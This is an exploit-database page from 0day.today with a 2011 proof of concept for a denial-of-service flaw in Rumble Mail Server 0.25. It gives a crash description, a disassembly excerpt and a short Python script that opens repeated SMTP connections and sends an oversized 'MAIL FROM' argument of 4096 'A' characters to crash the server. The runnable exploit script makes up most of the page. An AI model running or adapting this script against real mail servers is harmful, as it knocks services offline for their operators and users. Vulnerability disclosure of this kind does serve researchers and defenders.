[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Rumble 0.25.2232 Denial of Service Vulnerability

Author
Daikin
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-15729
Category
dos / poc
Date add
30-03-2011
Platform
windows
# ------------------------------------------------------------------------
# Software................Rumble 0.25.2232
# Vulnerability...........Denial Of Service
# Threat Level............Serious (3/5)
# Download................http://humbedooh.users.sourceforge.net/
# Discovery Date..........3/27/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# A denial of service vulnerability can be exploited to crash Rumble
# Mail Server v0.25.2231.
#
# rumble_win32.exe: The instruction at 0x96CEEB referenced memory at
# 0x41414149. The memory could not be read (0x0096CEEB -> 41414149)
#
# Disassembly:
#
# .text:0096CEEB mov     edx, [ecx+8]
# .text:0096CEEE mov     [ebp-8], edx
# .text:0096CEF1 mov     eax, [ebp-8]
# .text:0096CEF4 mov     ecx, [eax]
# .text:0096CEF6 mov     [ebp-0Ch], ecx
# .text:0096CEF9 mov     edx, [ebp+0Ch]
# .text:0096CEFC mov     [ebp-10h], edx
# .text:0096CEFF
# .text:0096CEFF loc_96CEFF:                             ; CODE XREF: .text:0096CF31
# .text:0096CEFF mov     eax, [ebp-10h]
# .text:0096CF02 mov     cl, [eax]
# .text:0096CF04 mov     [ebp-11h], cl
# .text:0096CF07 mov     edx, [ebp-0Ch]
# .text:0096CF0A cmp     cl, [edx]
# .text:0096CF0C jnz     short loc_96CF3C
#
#
# --PoC--
 
import socket
 
host = 'localhost'
tld = 'mydomain.tld'
port = 25
 
def crash():   
 for i in range(0, 16):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.settimeout(32)   
   
  junk = 'A' * 4096
   
  print s.recv(8192)
  s.send('HELO ' + tld + '\r\n')
  print s.recv(8192)
  s.send('MAIL FROM ' + junk + '\r\n')
  print s.recv(8192)
   
  s.close()
  
 
crash()



#  0day.today [2024-09-28]  #